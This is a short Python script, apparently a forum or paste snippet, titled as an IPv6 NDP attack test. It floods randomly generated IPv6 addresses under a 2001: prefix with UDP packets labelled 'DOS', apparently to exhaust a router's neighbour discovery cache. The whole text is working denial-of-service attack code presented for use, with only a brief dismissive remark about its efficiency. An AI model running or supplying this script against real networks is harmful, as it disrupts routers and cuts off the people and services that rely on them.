Very shit example. Not using random could save some CPU.

IPv6 NDP Attack test

import socket
import random
hexs = "0123456789ABCDEF"

UDP_PORT = 6969
MESSAGE = "DOS"
PREFIX = "2001:"


sock = socket.socket(socket.AF_INET6, # Internet
                     socket.SOCK_DGRAM) # UDP
while 1:
    try:
        UDP_IP = PREFIX + ":" + "".join(random.sample(hexs,4))  + ":" + "".join(random.sample(hexs,4)) + ":" + "".join(random.sample(hexs,4)) + ":" + "".join(random.sample(hexs,4))
        print UDP_IP
        sock.sendto(MESSAGE, (UDP_IP, UDP_PORT))
    except:
        pass